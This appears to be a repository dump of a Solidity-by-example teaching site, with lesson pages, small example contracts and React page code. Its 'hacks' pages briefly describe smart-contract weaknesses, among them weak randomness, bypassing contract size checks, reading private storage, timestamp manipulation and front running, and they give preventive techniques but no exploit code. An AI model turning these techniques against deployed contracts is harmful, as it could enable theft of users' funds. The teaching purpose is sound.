version: 0.8.10 4 | description: Learn how to create new contracts from inside of a contract with Solidity 5 | --- 6 | 7 | Contracts can be created by other contracts using the `new` keyword. Since 0.8.0, `new` keyword supports `create2` feature by specifying `salt` options. 8 | 9 | ```solidity 10 | {{{NewContract}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /.github/workflows/integrate.yml: -------------------------------------------------------------------------------- 1 | name: Continuous Integration 2 | 3 | on: 4 | pull_request: 5 | branches: [gh-pages] 6 | 7 | jobs: 8 | test_pull_request: 9 | runs-on: ubuntu-latest 10 | steps: 11 | - uses: actions/checkout@v2 12 | - uses: actions/setup-node@v1 13 | with: 14 | node-version: 12 15 | - run: npm ci 16 | - run: npm test 17 | - run: npm run build 18 | -------------------------------------------------------------------------------- /src/pages/app/write-to-any-slot/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Write to Any Slot 3 | version: 0.8.10 4 | description: Write to Any Slot 5 | --- 6 | 7 | Solidity storage is like an array of length 2^256. 8 | Each slot in the array can store 32 bytes. 9 | 10 | State variables define which slots will be used to store data. 11 | 12 | However using assembly, you can write to any slot. 13 | 14 | ```solidity 15 | {{{Slot}}} 16 | ``` 17 | -------------------------------------------------------------------------------- /src/components/SEO.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import { Helmet } from "react-helmet" 3 | 4 | interface Props { 5 | title: string 6 | description: string 7 | } 8 | 9 | const SEO: React.FC = ({ title, description }) => { 10 | return ( 11 | 12 | {title} 13 | 14 | 15 | ) 16 | } 17 | 18 | export default SEO 19 | -------------------------------------------------------------------------------- /src/pages/delegatecall/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Delegatecall 3 | version: 0.8.10 4 | description: Example of how to use deletegatecall in Solidity 5 | --- 6 | 7 | `delegatecall` is a low level function similar to `call`. 8 | 9 | When contract `A` executes `delegatecall` to contract `B`, `B`'s code is excuted 10 | 11 | with contract `A`'s storage, `msg.sender` and `msg.value`. 12 | 13 | ```solidity 14 | {{{Delegatecall}}} 15 | ``` 16 | -------------------------------------------------------------------------------- /src/pages/function-modifier/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Function Modifier 3 | version: 0.8.10 4 | description: Example of how to write function modifier in Solidity 5 | --- 6 | 7 | Modifiers are code that can be run before and / or after a function call. 8 | 9 | Modifiers can be used to: 10 | 11 | - Restrict access 12 | - Validate inputs 13 | - Guard against reentrancy hack 14 | 15 | ```solidity 16 | {{{FunctionModifier}}} 17 | ``` 18 | -------------------------------------------------------------------------------- /src/pages/shadowing-inherited-state-variables/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Shadowing Inherited State Variables 3 | version: 0.8.10 4 | description: An example of shadowing state variables by inheritance 5 | --- 6 | 7 | Unlike functions, state variables cannot be overridden by re-declaring it 8 | in the child contract. 9 | 10 | Let's learn how to correctly override inherited state variables. 11 | 12 | ```solidity 13 | {{{Shadow}}} 14 | ``` 15 | -------------------------------------------------------------------------------- /src/pages/function-selector/FunctionSelector.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract FunctionSelector { 5 | /* 6 | "transfer(address,uint256)" 7 | 0xa9059cbb 8 | "transferFrom(address,address,uint256)" 9 | 0x23b872dd 10 | */ 11 | function getSelector(string calldata _func) external pure returns (bytes4) { 12 | return bytes4(keccak256(bytes(_func))); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/pages/loop/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: For and While Loop 3 | version: 0.8.10 4 | description: Example of for and while loop in Solidity 5 | --- 6 | 7 | Solidity supports `for`, `while`, and `do while` loops. 8 | 9 | Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail. 10 | 11 | For the reason above, `while` and `do while` loops are rarely used. 12 | 13 | ```solidity 14 | {{{Loop}}} 15 | ``` 16 | -------------------------------------------------------------------------------- /src/pages/view-and-pure-functions/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: View and Pure Functions 3 | version: 0.8.10 4 | description: An example of view and pure functions in Solidity 5 | --- 6 | 7 | Getter functions can be declared `view` or `pure`. 8 | 9 | `View` function declares that no state will be changed. 10 | 11 | `Pure` function declares that no state variable will be changed or read. 12 | 13 | ```solidity 14 | {{{ViewAndPureFunctions}}} 15 | ``` 16 | -------------------------------------------------------------------------------- /src/pages/hacks/randomness/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Source of Randomness 3 | version: 0.8.10 4 | description: Blockchain is not a reliable source of randomness in Solidity 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | `blockhash` and `block.timestamp` are not reliable sources for randomness. 10 | 11 | ```solidity 12 | {{{Randomness}}} 13 | ``` 14 | 15 | ### Preventative Techniques 16 | 17 | - Don't use `blockhash` and `block.timestamp` as source of randomness 18 | -------------------------------------------------------------------------------- /src/pages/mapping/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Mapping 3 | version: 0.8.10 4 | description: Example of using mapping in Solidity 5 | --- 6 | 7 | Maps are created with the syntax `mapping(keyType => valueType)`. 8 | 9 | The `keyType` can be any built-in value type, bytes, string, or any contract. 10 | 11 | `valueType` can be any type including another mapping or an array. 12 | 13 | Mappings are not iterable. 14 | 15 | ```solidity 16 | {{{Mapping}}} 17 | ``` 18 | -------------------------------------------------------------------------------- /src/pages/hacks/contract-size/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Bypass Contract Size Check 3 | version: 0.8.10 4 | description: An example of bypassing contract size check 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | If an address is a contract then the size of code stored at the address will be greater than 0 right? 10 | 11 | Let's see how we can create a contract with code size returned by `extcodesize` equal to 0. 12 | 13 | ```solidity 14 | {{{ContractSize}}} 15 | ``` 16 | -------------------------------------------------------------------------------- /src/pages/app/bi-directional-payment-channel/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Bi-Directional Payment Channel 3 | version: 0.8.10 4 | description: An example of bi-directional payment channels in Solidity 5 | --- 6 | 7 | Bi-directional payment channels allow participants `Alice` and `Bob` to repeatedly transfer Ether off chain. 8 | 9 | Payments can go both ways, `Alice` pays `Bob` and `Bob` pays `Alice`. 10 | 11 | ```solidity 12 | {{{BiDirectionalPaymentChannel}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/call/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Call 3 | version: 0.8.10 4 | description: In Solidity call is a low level function to interact with other contracts 5 | --- 6 | 7 | `call` is a low level function to interact with other contracts. 8 | 9 | This is the recommended method to use when you're just sending Ether via calling the `fallback` function. 10 | 11 | However it is not the recommend way to call existing functions. 12 | 13 | ```solidity 14 | {{{Call}}} 15 | ``` 16 | -------------------------------------------------------------------------------- /src/pages/hashing/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Hashing with Keccak256 3 | version: 0.8.10 4 | description: Example of hashing using Keccak256 in Solidity 5 | --- 6 | 7 | `keccak256` computes the Keccak-256 hash of the input. 8 | 9 | Some use cases are: 10 | 11 | - Creating a deterministic unique ID from a input 12 | - Commit-Reveal scheme 13 | - Compact cryptographic signature (by signing the hash instead of a larger input) 14 | 15 | ```solidity 16 | {{{Keccak256}}} 17 | ``` 18 | -------------------------------------------------------------------------------- /src/pages/variables/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Variables 3 | version: 0.8.10 4 | description: Local, state and global variables 5 | --- 6 | 7 | There are 3 types of variables in Solidity 8 | 9 | - **local** 10 | - declared inside a function 11 | - not stored on the blockchain 12 | - **state** 13 | - declared outside a function 14 | - stored on the blockchain 15 | - **global** (provides information about the blockchain) 16 | 17 | ```solidity 18 | {{{Variables}}} 19 | ``` 20 | -------------------------------------------------------------------------------- /src/pages/calling-contract/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Calling Other Contract 3 | version: 0.8.10 4 | description: In Solidity, contract can call other contracts in several ways 5 | --- 6 | 7 | Contract can call other contracts in 2 ways. 8 | 9 | The easiest way to is to just call it, like `A.foo(x, y, z)`. 10 | 11 | Another way to call other contracts is to use the low-level `call`. 12 | 13 | This method is not recommended. 14 | 15 | ```solidity 16 | {{{CallingContract}}} 17 | ``` 18 | -------------------------------------------------------------------------------- /src/pages/interface/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Interface 3 | version: 0.8.10 4 | description: An example of interface in Solidity 5 | --- 6 | 7 | You can interact with other contracts by declaring an `Interface`. 8 | 9 | Interface 10 | 11 | - cannot have any functions implemented 12 | - can inherit from other interfaces 13 | - all declared functions must be external 14 | - cannot declare a constructor 15 | - cannot declare state variables 16 | 17 | ```solidity 18 | {{{Interface}}} 19 | ``` 20 | -------------------------------------------------------------------------------- /src/pages/view-and-pure-functions/ViewAndPureFunctions.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract ViewAndPure { 5 | uint public x = 1; 6 | 7 | // Promise not to modify the state. 8 | function addToX(uint y) public view returns (uint) { 9 | return x + y; 10 | } 11 | 12 | // Promise not to modify or read from the state. 13 | function add(uint i, uint j) public pure returns (uint) { 14 | return i + j; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/pages/library/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Library 3 | version: 0.8.10 4 | description: Example of how to write and use libraries in your Solidity code 5 | --- 6 | 7 | Libraries are similar to contracts, but you can't declare any state variable and 8 | you can't send ether. 9 | 10 | A library is embedded into the contract if all library functions are internal. 11 | 12 | Otherwise the library must be deployed and then linked before the contract is deployed. 13 | 14 | ```solidity 15 | {{{Library}}} 16 | ``` 17 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | package-lock.json 8 | 9 | # testing 10 | /coverage 11 | 12 | # production 13 | /build 14 | 15 | # misc 16 | .DS_Store 17 | .env.local 18 | .env.development.local 19 | .env.test.local 20 | .env.production.local 21 | 22 | npm-debug.log* 23 | yarn-debug.log* 24 | yarn-error.log* 25 | 26 | memo.js 27 | .vscode 28 | .eslintcache 29 | memo 30 | crytic-export -------------------------------------------------------------------------------- /src/pages/gas/Gas.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Gas { 5 | uint public i = 0; 6 | 7 | // Using up all of the gas that you send causes your transaction to fail. 8 | // State changes are undone. 9 | // Gas spent are not refunded. 10 | function forever() public { 11 | // Here we run a loop until all of the gas are spent 12 | // and the transaction fails 13 | while (true) { 14 | i += 1; 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/pages/first-app/Counter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Counter { 5 | uint public count; 6 | 7 | // Function to get the current count 8 | function get() public view returns (uint) { 9 | return count; 10 | } 11 | 12 | // Function to increment count by 1 13 | function inc() public { 14 | count += 1; 15 | } 16 | 17 | // Function to decrement count by 1 18 | function dec() public { 19 | count -= 1; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/pages/app/crowd-fund/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Crowd Fund 3 | version: 0.8.10 4 | description: An example of crowd funding contract 5 | --- 6 | 7 | Crowd fund ERC20 token 8 | 9 | 1. User creates a campaign. 10 | 2. Users can pledge, transferring their token to a campaign. 11 | 3. After the campaign ends, campaign creator can claim the funds if total amount pledged is more than the campaign goal. 12 | 4. Otherwise, campaign did not reach it's goal, users can withdraw their pledge. 13 | 14 | ```solidity 15 | {{{CrowdFund}}} 16 | ``` 17 | -------------------------------------------------------------------------------- /src/pages/state-variables/SimpleStorage.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract SimpleStorage { 5 | // State variable to store a number 6 | uint public num; 7 | 8 | // You need to send a transaction to write to a state variable. 9 | function set(uint _num) public { 10 | num = _num; 11 | } 12 | 13 | // You can read from a state variable without sending a transaction. 14 | function get() public view returns (uint) { 15 | return num; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/pages/defi/staking-rewards/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Staking Rewards 3 | version: 0.8.10 4 | description: Staking rewards contract based on Synthetix StakingRewards.sol 5 | --- 6 | 7 | This is a minimal example of a contract that rewards users for staking their token. 8 | 9 | Code is a stripped down version of Synthetix StakingRewards.sol 10 | 11 | ### Staking Rewards 12 | 13 | ```solidity 14 | {{{StakingRewards}}} 15 | ``` 16 | -------------------------------------------------------------------------------- /src/pages/events/Events.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Event { 5 | // Event declaration 6 | // Up to 3 parameters can be indexed. 7 | // Indexed parameters helps you filter the logs by the indexed parameter 8 | event Log(address indexed sender, string message); 9 | event AnotherLog(); 10 | 11 | function test() public { 12 | emit Log(msg.sender, "Hello World!"); 13 | emit Log(msg.sender, "Hello EVM!"); 14 | emit AnotherLog(); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/pages/hacks/accessing-private-data/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Accessing Private Data 3 | version: 0.8.10 4 | description: An example of accessing private data from a Solidity smart contract 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | All data on a smart contract can be read. 10 | 11 | Let's see how we can read `private` data. In the process you will learn how Solidity stores state variables. 12 | 13 | ```solidity 14 | {{{Vault}}} 15 | ``` 16 | 17 | ### Preventative Techniques 18 | 19 | - Don't store sensitive information on the blockchain. 20 | -------------------------------------------------------------------------------- /src/pages/import/Import.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | // import Foo.sol from current directory 5 | import "./Foo.sol"; 6 | 7 | // import {symbol1 as alias, symbol2} from "filename"; 8 | import {Unauthorized, add as func, Point} from "./Foo.sol"; 9 | 10 | contract Import { 11 | // Initialize Foo.sol 12 | Foo public foo = new Foo(); 13 | 14 | // Test Foo.sol by getting it's name. 15 | function getFooName() public view returns (string memory) { 16 | return foo.name(); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/pages/fallback/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Fallback 3 | version: 0.8.10 4 | description: Example of how to use fallback in Solidity 5 | --- 6 | 7 | `fallback` is a function that does not take any arguments and does not return anything. 8 | 9 | It is executed either when 10 | 11 | - a function that does not exist is called or 12 | - Ether is sent directly to a contract but `receive()` does not exist or `msg.data` is not empty 13 | 14 | `fallback` has a 2300 gas limit when called by `transfer` or `send`. 15 | 16 | ```solidity 17 | {{{Fallback}}} 18 | ``` 19 | -------------------------------------------------------------------------------- /src/pages/app/erc20/MyToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/ERC20.sol"; 5 | 6 | contract MyToken is ERC20 { 7 | constructor(string memory name, string memory symbol) ERC20(name, symbol) { 8 | // Mint 100 tokens to msg.sender 9 | // Similar to how 10 | // 1 dollar = 100 cents 11 | // 1 token = 1 * (10 ** decimals) 12 | _mint(msg.sender, 100 * 10**uint(decimals())); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/pages/enum/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Enum 3 | version: 0.8.10 4 | description: Example of enums in Solidity 5 | --- 6 | 7 | Solidity supports enumerables and they are useful to model choice and keep track of state. 8 | 9 | Enums can be declared outside of a contract. 10 | 11 | ```solidity 12 | {{{Enum}}} 13 | ``` 14 | 15 | ### Declaring and importing Enum 16 | 17 | File that the enum is declared in 18 | 19 | ```solidity 20 | {{{EnumDeclaration}}} 21 | ``` 22 | 23 | File that imports the enum above 24 | 25 | ```solidity 26 | {{{EnumImport}}} 27 | ``` 28 | -------------------------------------------------------------------------------- /src/pages/array/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Array 3 | version: 0.8.10 4 | description: Learn about arrays in Solidity 5 | --- 6 | 7 | Array can have a compile-time fixed size or a dynamic size. 8 | 9 | ```solidity 10 | {{{Array}}} 11 | ``` 12 | 13 | ### Examples of removing array element 14 | 15 | Remove array element by shifting elements from right to left 16 | 17 | ```solidity 18 | {{{ArrayRemoveByShifting}}} 19 | ``` 20 | 21 | Remove array element by copying last element into to the place to remove 22 | 23 | ```solidity 24 | {{{ArrayReplaceFromEnd}}} 25 | ``` 26 | -------------------------------------------------------------------------------- /src/pages/app/dutch-auction/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Dutch Auction 3 | version: 0.8.10 4 | description: An example of Dutch auction in Solidity 5 | --- 6 | 7 | Dutch auction for NFT. 8 | 9 | ### Auction 10 | 11 | 1. Seller of NFT deploys this contract setting a starting price for the NFT. 12 | 2. Auction lasts for 7 days. 13 | 3. Price of NFT decreases over time. 14 | 4. Participants can buy by depositing ETH greater than the current price computed by the smart contract. 15 | 5. Auction ends when a buyer buys the NFT. 16 | 17 | ```solidity 18 | {{{DutchAuction}}} 19 | ``` 20 | -------------------------------------------------------------------------------- /src/App.module.css: -------------------------------------------------------------------------------- 1 | .component { 2 | display: flex; 3 | flex-direction: column; 4 | min-height: 100vh; 5 | } 6 | 7 | .main { 8 | display: flex; 9 | flex: 1; 10 | flex-direction: column; 11 | margin: auto; 12 | padding: 10px; 13 | /* align-items: center; */ 14 | /* background-color: red; */ 15 | } 16 | 17 | /* @media only screen and (max-width: 600px) { 18 | .main { 19 | margin: 0; 20 | } 21 | } */ 22 | 23 | .footer { 24 | display: flex; 25 | flex-direction: column; 26 | align-items: center; 27 | padding-top: 10px; 28 | padding-bottom: 20px; 29 | } 30 | -------------------------------------------------------------------------------- /src/pages/variables/Variables.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Variables { 5 | // State variables are stored on the blockchain. 6 | string public text = "Hello"; 7 | uint public num = 123; 8 | 9 | function doSomething() public { 10 | // Local variables are not saved to the blockchain. 11 | uint i = 456; 12 | 13 | // Here are some global variables 14 | uint timestamp = block.timestamp; // Current block timestamp 15 | address sender = msg.sender; // address of the caller 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/pages/data-locations/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Data Locations - Storage, Memory and Calldata 3 | version: 0.8.10 4 | description: Data locations - storage, memory and calldata 5 | --- 6 | 7 | Variables are declared as either `storage`, `memory` or `calldata` to explicitly 8 | specify the location of the data. 9 | 10 | - `storage` - variable is a state variable (store on blockchain) 11 | - `memory` - variable is in memory and it exists while a function is being called 12 | - `calldata` - special data location that contains function arguments 13 | 14 | ```solidity 15 | {{{DataLocations}}} 16 | ``` 17 | -------------------------------------------------------------------------------- /scripts/template/routes.tsx.mustache: -------------------------------------------------------------------------------- 1 | {{#routes}} 2 | import {{{componentName}}} from "{{{importPath}}}" 3 | {{/routes}} 4 | 5 | interface Path { 6 | title: string 7 | path: string 8 | } 9 | 10 | interface Paths { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | interface Route { 16 | path: string 17 | component: React.FC 18 | breakingChanges?: boolean 19 | } 20 | 21 | const routes: Route[] = [ 22 | {{#routes}} 23 | { 24 | path: "{{{routePath}}}", 25 | component: {{{componentName}}} 26 | }, 27 | {{/routes}} 28 | ] 29 | 30 | export default routes -------------------------------------------------------------------------------- /src/pages/app/ether-wallet/EtherWallet.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract EtherWallet { 5 | address payable public owner; 6 | 7 | constructor() { 8 | owner = payable(msg.sender); 9 | } 10 | 11 | receive() external payable {} 12 | 13 | function withdraw(uint _amount) external { 14 | require(msg.sender == owner, "caller is not owner"); 15 | payable(msg.sender).transfer(_amount); 16 | } 17 | 18 | function getBalance() external view returns (uint) { 19 | return address(this).balance; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/pages/hacks/block-timestamp-manipulation/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Block Timestamp Manipulation 3 | version: 0.8.10 4 | description: An example of a Solidity contract vulnerable to block timestamp manipulation 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | `block.timestamp` can be manipulated by miners with the following constraints 10 | 11 | - it cannot be stamped with an earlier time than its parent 12 | - it cannot be too far in the future 13 | 14 | ```solidity 15 | {{{BlockTimestamp}}} 16 | ``` 17 | 18 | ### Preventative Techniques 19 | 20 | - Don't use `block.timestamp` for a source of entropy and random number 21 | -------------------------------------------------------------------------------- /src/pages/loop/Loop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Loop { 5 | function loop() public { 6 | // for loop 7 | for (uint i = 0; i < 10; i++) { 8 | if (i == 3) { 9 | // Skip to next iteration with continue 10 | continue; 11 | } 12 | if (i == 5) { 13 | // Exit loop with break 14 | break; 15 | } 16 | } 17 | 18 | // while loop 19 | uint j; 20 | while (j < 10) { 21 | j++; 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/pages/app/multi-sig-wallet/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Multi-Sig Wallet 3 | version: 0.8.10 4 | description: An example of multi-sig wallet in Solidity 5 | --- 6 | 7 | Let's create an multi-sig wallet. Here are the specifications. 8 | 9 | The wallet owners can 10 | 11 | - submit a transaction 12 | - approve and revoke approval of pending transcations 13 | - anyone can execute a transcation after enough owners has approved it. 14 | 15 | ```solidity 16 | {{{MultiSigWallet}}} 17 | ``` 18 | 19 | Here is a contract to test sending transactions from the multi-sig wallet 20 | 21 | ```solidity 22 | {{{TestContract}}} 23 | ``` 24 | -------------------------------------------------------------------------------- /src/pages/hacks/front-running/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Front Running 3 | version: 0.8.10 4 | description: An example of a Solidity contract vulnerable to front running 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | Transactions take some time before they are mined. An attacker can watch the transaction pool 10 | and send a transaction, have it included in a block before the original transaction. 11 | This mechanism can be abused to re-order transactions to the attacker's advantage. 12 | 13 | ```solidity 14 | {{{FrontRunning}}} 15 | ``` 16 | 17 | ### Preventative Techniques 18 | 19 | - use commit-reveal scheme 20 | - use submarine send 21 | -------------------------------------------------------------------------------- /src/pages/inheritance/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Inheritance 3 | version: 0.8.10 4 | description: Example of inheritance in Solidity 5 | --- 6 | 7 | Solidity supports multiple inheritance. Contracts can inherit other contract by using the `is` keyword. 8 | 9 | Function that is going to be overridden by a child contract must be declared as `virtual`. 10 | 11 | Function that is going to override a parent function must use the keyword `override`. 12 | 13 | Order of inheritance is important. 14 | 15 | You have to list the parent contracts in the order from “most base-like” to “most derived”. 16 | 17 | ```solidity 18 | {{{Inheritance}}} 19 | ``` 20 | -------------------------------------------------------------------------------- /src/pages/array/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/call/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/enum/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/error/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/events/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/gas/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hashing/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/if-else/IfElse.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract IfElse { 5 | function foo(uint x) public pure returns (uint) { 6 | if (x < 10) { 7 | return 0; 8 | } else if (x < 20) { 9 | return 1; 10 | } else { 11 | return 2; 12 | } 13 | } 14 | 15 | function ternary(uint _x) public pure returns (uint) { 16 | // if (_x < 10) { 17 | // return 1; 18 | // } 19 | // return 2; 20 | 21 | // shorthand way to write if / else statement 22 | return _x < 10 ? 1 : 2; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/pages/if-else/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/import/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/library/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/loop/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/mapping/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/payable/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import 